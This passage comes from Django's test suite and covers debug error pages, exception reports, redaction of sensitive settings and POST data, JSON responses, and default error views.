        }
        response = self.client.post('/raises/', data)
        self.assertContains(response, 'file_data.txt', status_code=500)
        self.assertNotContains(response, 'haha', status_code=500)

    def test_400(self):
        # Ensure that when DEBUG=True, technical_500_template() is called.
        response = self.client.get('/raises400/')
        self.assertContains(response, '<div class="context" id="', status_code=400)

    # Ensure no 403.html template exists to test the default case.
    @override_settings(TEMPLATES=[{
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
    }])
    def test_403(self):
        response = self.client.get('/raises403/')
        self.assertContains(response, '<h1>403 Forbidden</h1>', status_code=403)

    # Set up a test 403.html template.
    @override_settings(TEMPLATES=[{
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'OPTIONS': {
            'loaders': [
                ('django.template.loaders.locmem.Loader', {
                    '403.html': 'This is a test template for a 403 error ({{ exception }}).',
                }),
            ],
        },
    }])
    def test_403_template(self):
        response = self.client.get('/raises403/')
        self.assertContains(response, 'test template', status_code=403)
        self.assertContains(response, '(Insufficient Permissions).', status_code=403)

    def test_404(self):
        response = self.client.get('/raises404/')
        self.assertEqual(response.status_code, 404)

    def test_raised_404(self):
        response = self.client.get('/views/raises404/')
        self.assertContains(response, "<code>not-in-urls</code>, didn't match", status_code=404)

    def test_404_not_in_urls(self):
        response = self.client.get('/not-in-urls')
        self.assertNotContains(response, "Raised by:", status_code=404)
        self.assertContains(response, "<code>not-in-urls</code>, didn't match", status_code=404)

    def test_technical_404(self):
        response = self.client.get('/views/technical404/')
        self.assertContains(response, "Raised by:", status_code=404)
        self.assertContains(response, "view_tests.views.technical404", status_code=404)

    def test_classbased_technical_404(self):
        response = self.client.get('/views/classbased404/')
        self.assertContains(response, "Raised by:", status_code=404)
        self.assertContains(response, "view_tests.views.Http404View", status_code=404)

    def test_view_exceptions(self):
        for n in range(len(except_args)):
            with self.assertRaises(BrokenException):
                self.client.get(reverse('view_exception', args=(n,)))

    def test_non_l10ned_numeric_ids(self):
        """
        Numeric IDs and fancy traceback context blocks line numbers shouldn't be localized.
        """
        with self.settings(DEBUG=True, USE_L10N=True):
            response = self.client.get('/raises500/')
            # We look for a HTML fragment of the form
            # '<div class="context" id="c38123208">', not '<div class="context" id="c38,123,208"'
            self.assertContains(response, '<div class="context" id="', status_code=500)
            match = re.search(b'<div class="context" id="(?P<id>[^"]+)">', response.content)
            self.assertIsNotNone(match)
            id_repr = match.group('id')
            self.assertFalse(
                re.search(b'[^c0-9]', id_repr),
                "Numeric IDs in debug response HTML page shouldn't be localized (value: %s)." % id_repr
            )

    def test_template_exceptions(self):
        for n in range(len(except_args)):
            try:
                self.client.get(reverse('template_exception', args=(n,)))
            except Exception:
                raising_loc = inspect.trace()[-1][-2][0].strip()
                self.assertNotEqual(
                    raising_loc.find('raise BrokenException'), -1,
                    "Failed to find 'raise BrokenException' in last frame of "
                    "traceback, instead found: %s" % raising_loc
                )

    def test_template_loader_postmortem(self):
        """Tests for not existing file"""
        template_name = "notfound.html"
        with tempfile.NamedTemporaryFile(prefix=template_name) as tmpfile:
            tempdir = os.path.dirname(tmpfile.name)
            template_path = os.path.join(tempdir, template_name)
            with override_settings(TEMPLATES=[{
                'BACKEND': 'django.template.backends.django.DjangoTemplates',
                'DIRS': [tempdir],
            }]):
                response = self.client.get(reverse('raises_template_does_not_exist', kwargs={"path": template_name}))
            self.assertContains(response, "%s (Source does not exist)" % template_path, status_code=500, count=2)
            # Assert as HTML.
            self.assertContains(
                response,
                '<li><code>django.template.loaders.filesystem.Loader</code>: '
                '%s (Source does not exist)</li>' % os.path.join(tempdir, 'notfound.html'),
                status_code=500,
                html=True,
            )

    def test_no_template_source_loaders(self):
        """
        Make sure if you don't specify a template, the debug view doesn't blow up.
        """
        with self.assertRaises(TemplateDoesNotExist):
            self.client.get('/render_no_template/')

    @override_settings(ROOT_URLCONF='view_tests.default_urls')
    def test_default_urlconf_template(self):
        """
        Make sure that the default URLconf template is shown shown instead
        of the technical 404 page, if the user has not altered their
        URLconf yet.
        """
        response = self.client.get('/')
        self.assertContains(
            response,
            "<h2>Congratulations on your first Django-powered page.</h2>"
        )

    @override_settings(ROOT_URLCONF='view_tests.regression_21530_urls')
    def test_regression_21530(self):
        """
        Regression test for bug #21530.

        If the admin app include is replaced with exactly one url
        pattern, then the technical 404 template should be displayed.

        The bug here was that an AttributeError caused a 500 response.
        """
        response = self.client.get('/')
        self.assertContains(
            response,
            "Page not found <span>(404)</span>",
            status_code=404
        )


class DebugViewQueriesAllowedTests(SimpleTestCase):
    # May need a query to initialize MySQL connection
    allow_database_queries = True

    def test_handle_db_exception(self):
        """
        Ensure the debug view works when a database exception is raised by
        performing an invalid query and passing the exception to the debug view.
        """
        with connection.cursor() as cursor:
            try:
                cursor.execute('INVALID SQL')
            except DatabaseError:
                exc_info = sys.exc_info()

        rf = RequestFactory()
        response = technical_500_response(rf.get('/'), *exc_info)
        self.assertContains(response, 'OperationalError at /', status_code=500)


@override_settings(
    DEBUG=True,
    ROOT_URLCONF='view_tests.urls',
    # No template directories are configured, so no templates will be found.
    TEMPLATES=[{
        'BACKEND': 'django.template.backends.dummy.TemplateStrings',
    }],
)
class NonDjangoTemplatesDebugViewTests(SimpleTestCase):

    def test_400(self):
        # Ensure that when DEBUG=True, technical_500_template() is called.
        response = self.client.get('/raises400/')
        self.assertContains(response, '<div class="context" id="', status_code=400)

    def test_403(self):
        response = self.client.get('/raises403/')
        self.assertContains(response, '<h1>403 Forbidden</h1>', status_code=403)

    def test_404(self):
        response = self.client.get('/raises404/')
        self.assertEqual(response.status_code, 404)

    def test_template_not_found_error(self):
        # Raises a TemplateDoesNotExist exception and shows the debug view.
        url = reverse('raises_template_does_not_exist', kwargs={"path": "notfound.html"})
        response = self.client.get(url)
        self.assertContains(response, '<div class="context" id="', status_code=500)


class ExceptionReporterTests(SimpleTestCase):
    rf = RequestFactory()

    def test_request_and_exception(self):
        "A simple exception report can be generated"
        try:
            request = self.rf.get('/test_view/')
            request.user = User()
            raise ValueError("Can't find my keys")
        except ValueError:
            exc_type, exc_value, tb = sys.exc_info()
        reporter = ExceptionReporter(request, exc_type, exc_value, tb)
        html = reporter.get_traceback_html()
        self.assertIn('<h1>ValueError at /test_view/</h1>', html)
        self.assertIn('<pre class="exception_value">Can&#39;t find my keys</pre>', html)
        self.assertIn('<th>Request Method:</th>', html)
        self.assertIn('<th>Request URL:</th>', html)
        self.assertIn('<h3 id="user-info">USER</h3>', html)
        self.assertIn('<p>jacob</p>', html)
        self.assertIn('<th>Exception Type:</th>', html)
        self.assertIn('<th>Exception Value:</th>', html)
        self.assertIn('<h2>Traceback ', html)
        self.assertIn('<h2>Request information</h2>', html)
        self.assertNotIn('<p>Request data not supplied</p>', html)

    def test_no_request(self):
        "An exception report can be generated without request"
        try:
            raise ValueError("Can't find my keys")
        except ValueError:
            exc_type, exc_value, tb = sys.exc_info()
        reporter = ExceptionReporter(None, exc_type, exc_value, tb)
        html = reporter.get_traceback_html()
        self.assertIn('<h1>ValueError</h1>', html)
        self.assertIn('<pre class="exception_value">Can&#39;t find my keys</pre>', html)
        self.assertNotIn('<th>Request Method:</th>', html)
        self.assertNotIn('<th>Request URL:</th>', html)
        self.assertNotIn('<h3 id="user-info">USER</h3>', html)
        self.assertIn('<th>Exception Type:</th>', html)
        self.assertIn('<th>Exception Value:</th>', html)
        self.assertIn('<h2>Traceback ', html)
        self.assertIn('<h2>Request information</h2>', html)
        self.assertIn('<p>Request data not supplied</p>', html)

    def test_eol_support(self):
        """Test that the ExceptionReporter supports Unix, Windows and Macintosh EOL markers"""
        LINES = list('print %d' % i for i in range(1, 6))
        reporter = ExceptionReporter(None, None, None, None)

        for newline in ['\n', '\r\n', '\r']:
            fd, filename = tempfile.mkstemp(text=False)
            os.write(fd, force_bytes(newline.join(LINES) + newline))
            os.close(fd)

            try:
                self.assertEqual(
                    reporter._get_lines_from_file(filename, 3, 2),
                    (1, LINES[1:3], LINES[3], LINES[4:])
                )
            finally:
                os.unlink(filename)

    def test_no_exception(self):
        "An exception report can be generated for just a request"
        request = self.rf.get('/test_view/')
        reporter = ExceptionReporter(request, None, None, None)
        html = reporter.get_traceback_html()
        self.assertIn('<h1>Report at /test_view/</h1>', html)
        self.assertIn('<pre class="exception_value">No exception message supplied</pre>', html)
        self.assertIn('<th>Request Method:</th>', html)
        self.assertIn('<th>Request URL:</th>', html)
        self.assertNotIn('<th>Exception Type:</th>', html)
        self.assertNotIn('<th>Exception Value:</th>', html)
        self.assertNotIn('<h2>Traceback ', html)
        self.assertIn('<h2>Request information</h2>', html)
        self.assertNotIn('<p>Request data not supplied</p>', html)

    def test_request_and_message(self):
        "A message can be provided in addition to a request"
        request = self.rf.get('/test_view/')
        reporter = ExceptionReporter(request, None, "I'm a little teapot", None)
        html = reporter.get_traceback_html()
        self.assertIn('<h1>Report at /test_view/</h1>', html)
        self.assertIn('<pre class="exception_value">I&#39;m a little teapot</pre>', html)
        self.assertIn('<th>Request Method:</th>', html)
        self.assertIn('<th>Request URL:</th>', html)
        self.assertNotIn('<th>Exception Type:</th>', html)
        self.assertNotIn('<th>Exception Value:</th>', html)
        self.assertNotIn('<h2>Traceback ', html)
        self.assertIn('<h2>Request information</h2>', html)
        self.assertNotIn('<p>Request data not supplied</p>', html)

    def test_message_only(self):
        reporter = ExceptionReporter(None, None, "I'm a little teapot", None)
        html = reporter.get_traceback_html()
        self.assertIn('<h1>Report</h1>', html)
        self.assertIn('<pre class="exception_value">I&#39;m a little teapot</pre>', html)
        self.assertNotIn('<th>Request Method:</th>', html)
        self.assertNotIn('<th>Request URL:</th>', html)
        self.assertNotIn('<th>Exception Type:</th>', html)
        self.assertNotIn('<th>Exception Value:</th>', html)
        self.assertNotIn('<h2>Traceback ', html)
        self.assertIn('<h2>Request information</h2>', html)
        self.assertIn('<p>Request data not supplied</p>', html)

    def test_non_utf8_values_handling(self):
        "Non-UTF-8 exceptions/values should not make the output generation choke."
        try:
            class NonUtf8Output(Exception):
                def __repr__(self):
                    return b'EXC\xe9EXC'
            somevar = b'VAL\xe9VAL'  # NOQA
            raise NonUtf8Output()
        except Exception:
            exc_type, exc_value, tb = sys.exc_info()
        reporter = ExceptionReporter(None, exc_type, exc_value, tb)
        html = reporter.get_traceback_html()
        self.assertIn('VAL\\xe9VAL', html)
        self.assertIn('EXC\\xe9EXC', html)

    def test_unprintable_values_handling(self):
        "Unprintable values should not make the output generation choke."
        try:
            class OomOutput(object):
                def __repr__(self):
                    raise MemoryError('OOM')
            oomvalue = OomOutput()  # NOQA
            raise ValueError()
        except Exception:
            exc_type, exc_value, tb = sys.exc_info()
        reporter = ExceptionReporter(None, exc_type, exc_value, tb)
        html = reporter.get_traceback_html()
        self.assertIn('<td class="code"><pre>Error in formatting', html)

    def test_too_large_values_handling(self):
        "Large values should not create a large HTML."
        large = 256 * 1024
        repr_of_str_adds = len(repr(''))
        try:
            class LargeOutput(object):
                def __repr__(self):
                    return repr('A' * large)
            largevalue = LargeOutput()  # NOQA
            raise ValueError()
        except Exception:
            exc_type, exc_value, tb = sys.exc_info()
        reporter = ExceptionReporter(None, exc_type, exc_value, tb)
        html = reporter.get_traceback_html()
        self.assertEqual(len(html) // 1024 // 128, 0)  # still fit in 128Kb
        self.assertIn('&lt;trimmed %d bytes string&gt;' % (large + repr_of_str_adds,), html)

    @skipIf(six.PY2, 'Bug manifests on PY3 only')
    def test_unfrozen_importlib(self):
        """
        importlib is not a frozen app, but its loader thinks it's frozen which
        results in an ImportError on Python 3. Refs #21443.
        """
        try:
            request = self.rf.get('/test_view/')
            importlib.import_module('abc.def.invalid.name')
        except Exception:
            exc_type, exc_value, tb = sys.exc_info()
        reporter = ExceptionReporter(request, exc_type, exc_value, tb)
        html = reporter.get_traceback_html()
        self.assertIn('<h1>ImportError at /test_view/</h1>', html)

    def test_ignore_traceback_evaluation_exceptions(self):
        """
        Don't trip over exceptions generated by crafted objects when
        evaluating them while cleansing (#24455).
        """
        class BrokenEvaluation(Exception):
            pass

        def broken_setup():
            raise BrokenEvaluation

        request = self.rf.get('/test_view/')
        broken_lazy = SimpleLazyObject(broken_setup)
        try:
            bool(broken_lazy)
        except BrokenEvaluation:
            exc_type, exc_value, tb = sys.exc_info()

        self.assertIn(
            "BrokenEvaluation",
            ExceptionReporter(request, exc_type, exc_value, tb).get_traceback_html(),
            "Evaluation exception reason not mentioned in traceback"
        )

    @override_settings(ALLOWED_HOSTS='example.com')
    def test_disallowed_host(self):
        "An exception report can be generated even for a disallowed host."
        request = self.rf.get('/', HTTP_HOST='evil.com')
        reporter = ExceptionReporter(request, None, None, None)
        html = reporter.get_traceback_html()
        self.assertIn("http://evil.com/", html)


class PlainTextReportTests(SimpleTestCase):
    rf = RequestFactory()

    def test_request_and_exception(self):
        "A simple exception report can be generated"
        try:
            request = self.rf.get('/test_view/')
            request.user = User()
            raise ValueError("Can't find my keys")
        except ValueError:
            exc_type, exc_value, tb = sys.exc_info()
        reporter = ExceptionReporter(request, exc_type, exc_value, tb)
        text = reporter.get_traceback_text()
        self.assertIn('ValueError at /test_view/', text)
        self.assertIn("Can't find my keys", text)
        self.assertIn('Request Method:', text)
        self.assertIn('Request URL:', text)
        self.assertIn('USER: jacob', text)
        self.assertIn('Exception Type:', text)
        self.assertIn('Exception Value:', text)
        self.assertIn('Traceback:', text)
        self.assertIn('Request information:', text)
        self.assertNotIn('Request data not supplied', text)

    def test_no_request(self):
        "An exception report can be generated without request"
        try:
            raise ValueError("Can't find my keys")
        except ValueError:
            exc_type, exc_value, tb = sys.exc_info()
        reporter = ExceptionReporter(None, exc_type, exc_value, tb)
        text = reporter.get_traceback_text()
        self.assertIn('ValueError', text)
        self.assertIn("Can't find my keys", text)
        self.assertNotIn('Request Method:', text)
        self.assertNotIn('Request URL:', text)
        self.assertNotIn('USER:', text)
        self.assertIn('Exception Type:', text)
        self.assertIn('Exception Value:', text)
        self.assertIn('Traceback:', text)
        self.assertIn('Request data not supplied', text)

    def test_no_exception(self):
        "An exception report can be generated for just a request"
        request = self.rf.get('/test_view/')
        reporter = ExceptionReporter(request, None, None, None)
        reporter.get_traceback_text()

    def test_request_and_message(self):
        "A message can be provided in addition to a request"
        request = self.rf.get('/test_view/')
        reporter = ExceptionReporter(request, None, "I'm a little teapot", None)
        reporter.get_traceback_text()

    def test_message_only(self):
        reporter = ExceptionReporter(None, None, "I'm a little teapot", None)
        reporter.get_traceback_text()

    @override_settings(ALLOWED_HOSTS='example.com')
    def test_disallowed_host(self):
        "An exception report can be generated even for a disallowed host."
        request = self.rf.get('/', HTTP_HOST='evil.com')
        reporter = ExceptionReporter(request, None, None, None)
        text = reporter.get_traceback_text()
        self.assertIn("http://evil.com/", text)


class ExceptionReportTestMixin(object):

    # Mixin used in the ExceptionReporterFilterTests and
    # AjaxResponseExceptionReporterFilter tests below

    breakfast_data = {'sausage-key': 'sausage-value',
                      'baked-beans-key': 'baked-beans-value',
                      'hash-brown-key': 'hash-brown-value',
                      'bacon-key': 'bacon-value'}

    def verify_unsafe_response(self, view, check_for_vars=True,
                               check_for_POST_params=True):
        """
        Asserts that potentially sensitive info are displayed in the response.
        """
        request = self.rf.post('/some_url/', self.breakfast_data)
        response = view(request)
        if check_for_vars:
            # All variables are shown.
            self.assertContains(response, 'cooked_eggs', status_code=500)
            self.assertContains(response, 'scrambled', status_code=500)
            self.assertContains(response, 'sauce', status_code=500)
            self.assertContains(response, 'worcestershire', status_code=500)
        if check_for_POST_params:
            for k, v in self.breakfast_data.items():
                # All POST parameters are shown.
                self.assertContains(response, k, status_code=500)
                self.assertContains(response, v, status_code=500)

    def verify_safe_response(self, view, check_for_vars=True,
                             check_for_POST_params=True):
        """
        Asserts that certain sensitive info are not displayed in the response.
        """
        request = self.rf.post('/some_url/', self.breakfast_data)
        response = view(request)
        if check_for_vars:
            # Non-sensitive variable's name and value are shown.
            self.assertContains(response, 'cooked_eggs', status_code=500)
            self.assertContains(response, 'scrambled', status_code=500)
            # Sensitive variable's name is shown but not its value.
            self.assertContains(response, 'sauce', status_code=500)
            self.assertNotContains(response, 'worcestershire', status_code=500)
        if check_for_POST_params:
            for k, v in self.breakfast_data.items():
                # All POST parameters' names are shown.
                self.assertContains(response, k, status_code=500)
            # Non-sensitive POST parameters' values are shown.
            self.assertContains(response, 'baked-beans-value', status_code=500)
            self.assertContains(response, 'hash-brown-value', status_code=500)
            # Sensitive POST parameters' values are not shown.
            self.assertNotContains(response, 'sausage-value', status_code=500)
            self.assertNotContains(response, 'bacon-value', status_code=500)

    def verify_paranoid_response(self, view, check_for_vars=True,
                                 check_for_POST_params=True):
        """
        Asserts that no variables or POST parameters are displayed in the response.
        """
        request = self.rf.post('/some_url/', self.breakfast_data)
        response = view(request)
        if check_for_vars:
            # Show variable names but not their values.
            self.assertContains(response, 'cooked_eggs', status_code=500)
            self.assertNotContains(response, 'scrambled', status_code=500)
            self.assertContains(response, 'sauce', status_code=500)
            self.assertNotContains(response, 'worcestershire', status_code=500)
        if check_for_POST_params:
            for k, v in self.breakfast_data.items():
                # All POST parameters' names are shown.
                self.assertContains(response, k, status_code=500)
                # No POST parameters' values are shown.
                self.assertNotContains(response, v, status_code=500)

    def verify_unsafe_email(self, view, check_for_POST_params=True):
        """
        Asserts that potentially sensitive info are displayed in the email report.
        """
        with self.settings(ADMINS=[('Admin', 'admin@fattie-breakie.com')]):
            mail.outbox = []  # Empty outbox
            request = self.rf.post('/some_url/', self.breakfast_data)
            view(request)
            self.assertEqual(len(mail.outbox), 1)
            email = mail.outbox[0]

            # Frames vars are never shown in plain text email reports.
            body_plain = force_text(email.body)
            self.assertNotIn('cooked_eggs', body_plain)
            self.assertNotIn('scrambled', body_plain)
            self.assertNotIn('sauce', body_plain)
            self.assertNotIn('worcestershire', body_plain)

            # Frames vars are shown in html email reports.
            body_html = force_text(email.alternatives[0][0])
            self.assertIn('cooked_eggs', body_html)
            self.assertIn('scrambled', body_html)
            self.assertIn('sauce', body_html)
            self.assertIn('worcestershire', body_html)

            if check_for_POST_params:
                for k, v in self.breakfast_data.items():
                    # All POST parameters are shown.
                    self.assertIn(k, body_plain)
                    self.assertIn(v, body_plain)
                    self.assertIn(k, body_html)
                    self.assertIn(v, body_html)

    def verify_safe_email(self, view, check_for_POST_params=True):
        """
        Asserts that certain sensitive info are not displayed in the email report.
        """
        with self.settings(ADMINS=[('Admin', 'admin@fattie-breakie.com')]):
            mail.outbox = []  # Empty outbox
            request = self.rf.post('/some_url/', self.breakfast_data)
            view(request)
            self.assertEqual(len(mail.outbox), 1)
            email = mail.outbox[0]

            # Frames vars are never shown in plain text email reports.
            body_plain = force_text(email.body)
            self.assertNotIn('cooked_eggs', body_plain)
            self.assertNotIn('scrambled', body_plain)
            self.assertNotIn('sauce', body_plain)
            self.assertNotIn('worcestershire', body_plain)

            # Frames vars are shown in html email reports.
            body_html = force_text(email.alternatives[0][0])
            self.assertIn('cooked_eggs', body_html)
            self.assertIn('scrambled', body_html)
            self.assertIn('sauce', body_html)
            self.assertNotIn('worcestershire', body_html)

            if check_for_POST_params:
                for k, v in self.breakfast_data.items():
                    # All POST parameters' names are shown.
                    self.assertIn(k, body_plain)
                # Non-sensitive POST parameters' values are shown.
                self.assertIn('baked-beans-value', body_plain)
                self.assertIn('hash-brown-value', body_plain)
                self.assertIn('baked-beans-value', body_html)
                self.assertIn('hash-brown-value', body_html)
                # Sensitive POST parameters' values are not shown.
                self.assertNotIn('sausage-value', body_plain)
                self.assertNotIn('bacon-value', body_plain)
                self.assertNotIn('sausage-value', body_html)
                self.assertNotIn('bacon-value', body_html)

    def verify_paranoid_email(self, view):
        """
        Asserts that no variables or POST parameters are displayed in the email report.
        """
        with self.settings(ADMINS=[('Admin', 'admin@fattie-breakie.com')]):
            mail.outbox = []  # Empty outbox
            request = self.rf.post('/some_url/', self.breakfast_data)
            view(request)
            self.assertEqual(len(mail.outbox), 1)
            email = mail.outbox[0]
            # Frames vars are never shown in plain text email reports.
            body = force_text(email.body)
            self.assertNotIn('cooked_eggs', body)
            self.assertNotIn('scrambled', body)
            self.assertNotIn('sauce', body)
            self.assertNotIn('worcestershire', body)
            for k, v in self.breakfast_data.items():
                # All POST parameters' names are shown.
                self.assertIn(k, body)
                # No POST parameters' values are shown.
                self.assertNotIn(v, body)


@override_settings(ROOT_URLCONF='view_tests.urls')
class ExceptionReporterFilterTests(ExceptionReportTestMixin, LoggingCaptureMixin, SimpleTestCase):
    """
    Ensure that sensitive information can be filtered out of error reports.
    Refs #14614.
    """
    rf = RequestFactory()

    def test_non_sensitive_request(self):
        """
        Ensure that everything (request info and frame variables) can bee seen
        in the default error reports for non-sensitive requests.
        """
        with self.settings(DEBUG=True):
            self.verify_unsafe_response(non_sensitive_view)
            self.verify_unsafe_email(non_sensitive_view)

        with self.settings(DEBUG=False):
            self.verify_unsafe_response(non_sensitive_view)
            self.verify_unsafe_email(non_sensitive_view)

    def test_sensitive_request(self):
        """
        Ensure that sensitive POST parameters and frame variables cannot be
        seen in the default error reports for sensitive requests.
        """
        with self.settings(DEBUG=True):
            self.verify_unsafe_response(sensitive_view)
            self.verify_unsafe_email(sensitive_view)

        with self.settings(DEBUG=False):
            self.verify_safe_response(sensitive_view)
            self.verify_safe_email(sensitive_view)

    def test_paranoid_request(self):
        """
        Ensure that no POST parameters and frame variables can be seen in the
        default error reports for "paranoid" requests.
        """
        with self.settings(DEBUG=True):
            self.verify_unsafe_response(paranoid_view)
            self.verify_unsafe_email(paranoid_view)

        with self.settings(DEBUG=False):
            self.verify_paranoid_response(paranoid_view)
            self.verify_paranoid_email(paranoid_view)

    def test_multivalue_dict_key_error(self):
        """
        #21098 -- Ensure that sensitive POST parameters cannot be seen in the
        error reports for if request.POST['nonexistent_key'] throws an error.
        """
        with self.settings(DEBUG=True):
            self.verify_unsafe_response(multivalue_dict_key_error)
            self.verify_unsafe_email(multivalue_dict_key_error)

        with self.settings(DEBUG=False):
            self.verify_safe_response(multivalue_dict_key_error)
            self.verify_safe_email(multivalue_dict_key_error)

    def test_custom_exception_reporter_filter(self):
        """
        Ensure that it's possible to assign an exception reporter filter to
        the request to bypass the one set in DEFAULT_EXCEPTION_REPORTER_FILTER.
        """
        with self.settings(DEBUG=True):
            self.verify_unsafe_response(custom_exception_reporter_filter_view)
            self.verify_unsafe_email(custom_exception_reporter_filter_view)

        with self.settings(DEBUG=False):
            self.verify_unsafe_response(custom_exception_reporter_filter_view)
            self.verify_unsafe_email(custom_exception_reporter_filter_view)

    def test_sensitive_method(self):
        """
        Ensure that the sensitive_variables decorator works with object
        methods.
        Refs #18379.
        """
        with self.settings(DEBUG=True):
            self.verify_unsafe_response(sensitive_method_view,
                                        check_for_POST_params=False)
            self.verify_unsafe_email(sensitive_method_view,
                                     check_for_POST_params=False)

        with self.settings(DEBUG=False):
            self.verify_safe_response(sensitive_method_view,
                                      check_for_POST_params=False)
            self.verify_safe_email(sensitive_method_view,
                                   check_for_POST_params=False)

    def test_sensitive_function_arguments(self):
        """
        Ensure that sensitive variables don't leak in the sensitive_variables
        decorator's frame, when those variables are passed as arguments to the
        decorated function.
        Refs #19453.
        """
        with self.settings(DEBUG=True):
            self.verify_unsafe_response(sensitive_args_function_caller)
            self.verify_unsafe_email(sensitive_args_function_caller)

        with self.settings(DEBUG=False):
            self.verify_safe_response(sensitive_args_function_caller, check_for_POST_params=False)
            self.verify_safe_email(sensitive_args_function_caller, check_for_POST_params=False)

    def test_sensitive_function_keyword_arguments(self):
        """
        Ensure that sensitive variables don't leak in the sensitive_variables
        decorator's frame, when those variables are passed as keyword arguments
        to the decorated function.
        Refs #19453.
        """
        with self.settings(DEBUG=True):
            self.verify_unsafe_response(sensitive_kwargs_function_caller)
            self.verify_unsafe_email(sensitive_kwargs_function_caller)

        with self.settings(DEBUG=False):
            self.verify_safe_response(sensitive_kwargs_function_caller, check_for_POST_params=False)
            self.verify_safe_email(sensitive_kwargs_function_caller, check_for_POST_params=False)

    def test_callable_settings(self):
        """
        Callable settings should not be evaluated in the debug page (#21345).
        """
        def callable_setting():
            return "This should not be displayed"
        with self.settings(DEBUG=True, FOOBAR=callable_setting):
            response = self.client.get('/raises500/')
            self.assertNotContains(response, "This should not be displayed", status_code=500)

    def test_callable_settings_forbidding_to_set_attributes(self):
        """
        Callable settings which forbid to set attributes should not break
        the debug page (#23070).
        """
        class CallableSettingWithSlots(object):
            __slots__ = []

            def __call__(self):
                return "This should not be displayed"

        with self.settings(DEBUG=True, WITH_SLOTS=CallableSettingWithSlots()):
            response = self.client.get('/raises500/')
            self.assertNotContains(response, "This should not be displayed", status_code=500)

    def test_dict_setting_with_non_str_key(self):
        """
        A dict setting containing a non-string key should not break the
        debug page (#12744).
        """
        with self.settings(DEBUG=True, FOOBAR={42: None}):
            response = self.client.get('/raises500/')
            self.assertContains(response, 'FOOBAR', status_code=500)

    def test_sensitive_settings(self):
        """
        The debug page should not show some sensitive settings
        (password, secret key, ...).
        """
        sensitive_settings = [
            'SECRET_KEY',
            'PASSWORD',
            'API_KEY',
            'AUTH_TOKEN',
        ]
        for setting in sensitive_settings:
            with self.settings(DEBUG=True, **{setting: "should not be displayed"}):
                response = self.client.get('/raises500/')
                self.assertNotContains(response, 'should not be displayed', status_code=500)

    def test_settings_with_sensitive_keys(self):
        """
        The debug page should filter out some sensitive information found in
        dict settings.
        """
        sensitive_settings = [
            'SECRET_KEY',
            'PASSWORD',
            'API_KEY',
            'AUTH_TOKEN',
        ]
        for setting in sensitive_settings:
            FOOBAR = {
                setting: "should not be displayed",
                'recursive': {setting: "should not be displayed"},
            }
            with self.settings(DEBUG=True, FOOBAR=FOOBAR):
                response = self.client.get('/raises500/')
                self.assertNotContains(response, 'should not be displayed', status_code=500)


class AjaxResponseExceptionReporterFilter(ExceptionReportTestMixin, LoggingCaptureMixin, SimpleTestCase):
    """
    Ensure that sensitive information can be filtered out of error reports.

    Here we specifically test the plain text 500 debug-only error page served
    when it has been detected the request was sent by JS code. We don't check
    for (non)existence of frames vars in the traceback information section of
    the response content because we don't include them in these error pages.
    Refs #14614.
    """
    rf = RequestFactory(HTTP_X_REQUESTED_WITH='XMLHttpRequest')

    def test_non_sensitive_request(self):
        """
        Ensure that request info can bee seen in the default error reports for
        non-sensitive requests.
        """
        with self.settings(DEBUG=True):
            self.verify_unsafe_response(non_sensitive_view, check_for_vars=False)

        with self.settings(DEBUG=False):
            self.verify_unsafe_response(non_sensitive_view, check_for_vars=False)

    def test_sensitive_request(self):
        """
        Ensure that sensitive POST parameters cannot be seen in the default
        error reports for sensitive requests.
        """
        with self.settings(DEBUG=True):
            self.verify_unsafe_response(sensitive_view, check_for_vars=False)

        with self.settings(DEBUG=False):
            self.verify_safe_response(sensitive_view, check_for_vars=False)

    def test_paranoid_request(self):
        """
        Ensure that no POST parameters can be seen in the default error reports
        for "paranoid" requests.
        """
        with self.settings(DEBUG=True):
            self.verify_unsafe_response(paranoid_view, check_for_vars=False)

        with self.settings(DEBUG=False):
            self.verify_paranoid_response(paranoid_view, check_for_vars=False)

    def test_custom_exception_reporter_filter(self):
        """
        Ensure that it's possible to assign an exception reporter filter to
        the request to bypass the one set in DEFAULT_EXCEPTION_REPORTER_FILTER.
        """
        with self.settings(DEBUG=True):
            self.verify_unsafe_response(custom_exception_reporter_filter_view, check_for_vars=False)

        with self.settings(DEBUG=False):
            self.verify_unsafe_response(custom_exception_reporter_filter_view, check_for_vars=False)


class HelperFunctionTests(SimpleTestCase):

    def test_cleanse_setting_basic(self):
        self.assertEqual(cleanse_setting('TEST', 'TEST'), 'TEST')
        self.assertEqual(cleanse_setting('PASSWORD', 'super_secret'), CLEANSED_SUBSTITUTE)

    def test_cleanse_setting_ignore_case(self):
        self.assertEqual(cleanse_setting('password', 'super_secret'), CLEANSED_SUBSTITUTE)

    def test_cleanse_setting_recurses_in_dictionary(self):
        initial = {'login': 'cooper', 'password': 'secret'}
        expected = {'login': 'cooper', 'password': CLEANSED_SUBSTITUTE}
        self.assertEqual(cleanse_setting('SETTING_NAME', initial), expected)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import json

from django.test import SimpleTestCase, override_settings


@override_settings(ROOT_URLCONF='view_tests.generic_urls')
class JsonResponseTests(SimpleTestCase):

    def test_json_response(self):
        response = self.client.get('/json/response/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(
            response['content-type'], 'application/json')
        self.assertEqual(json.loads(response.content.decode()), {
            'a': [1, 2, 3],
            'foo': {'bar': 'baz'},
            'timestamp': '2013-05-19T20:00:00',
            'value': '3.14',
        })






from __future__ import unicode_literals

import datetime

from django.contrib.sites.models import Site
from django.http import Http404
from django.template import TemplateDoesNotExist
from django.test import RequestFactory, TestCase
from django.test.utils import override_settings
from django.views.defaults import (
    bad_request, page_not_found, permission_denied, server_error,
)

from ..models import Article, Author, UrlArticle


@override_settings(ROOT_URLCONF='view_tests.urls')
class DefaultsTests(TestCase):
    """Test django views in django/views/defaults.py"""
    non_existing_urls = ['/non_existing_url/',  # this is in urls.py
                         '/other_non_existing_url/']  # this NOT in urls.py

    @classmethod
    def setUpTestData(cls):
        Author.objects.create(name='Boris')
        Article.objects.create(
            title='Old Article', slug='old_article', author_id=1,
            date_created=datetime.datetime(2001, 1, 1, 21, 22, 23)
        )
        Article.objects.create(
            title='Current Article', slug='current_article', author_id=1,
            date_created=datetime.datetime(2007, 9, 17, 21, 22, 23)
        )
        Article.objects.create(
            title='Future Article', slug='future_article', author_id=1,
            date_created=datetime.datetime(3000, 1, 1, 21, 22, 23)
        )
        UrlArticle.objects.create(
            title='Old Article', slug='old_article', author_id=1,
            date_created=datetime.datetime(2001, 1, 1, 21, 22, 23)
        )
        Site(id=1, domain='testserver', name='testserver').save()

